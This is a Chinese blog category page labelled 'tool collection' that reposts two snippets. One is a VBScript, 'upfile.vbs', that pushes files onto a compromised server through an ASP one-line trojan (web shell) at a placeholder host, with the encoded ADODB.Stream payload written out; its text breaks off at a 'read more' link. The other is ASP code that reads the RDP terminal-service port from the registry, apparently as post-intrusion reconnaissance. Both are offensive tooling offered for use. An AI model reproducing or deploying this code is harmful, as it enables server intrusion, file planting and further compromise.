分类 ‘工具收集’ 下的日志

一句话木马用upfile.vbs

来自:情感网络联盟

with wscript
if .arguments.count<2 then .quit
ffn=replace(.arguments(1),”\”,”%5C”):ffn=replace(ffn,”:”,”%3A”):ffn=replace(ffn,”~”,”%7E”)
url= “http://www.xxxx.com/a.asp?a=with+server.createobject%28%22adodb.stream%22%29%0D%0A.type%3D1%0D%0A.open%0D%0A.write+request.binaryread%28request.totalbytes%29%0D%0A.savetofile+%22″&ffn&”%22%2C2%0D%0Aend+with%0D%0AResponse.end”
fn=.arguments(0)
阅读全文 »

Tags: ,

查看终端端口的asp代码

作者:kevin1986 来自:邪恶八进制 中国

sub get_terminal_port()
terminal_port_path=”HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\”
terminal_port_key=”PortNumber”
termport=wsh.regread(terminal_port_path&terminal_port_key)
if termport=”” or err.number<>0 then
response.write “无法得到终端服务端口。请检查权限是否已经受到限制。<br>”
else
response.write “当前终端服务端口: “&termport&”<br>”
end if
end sub

Tags: ,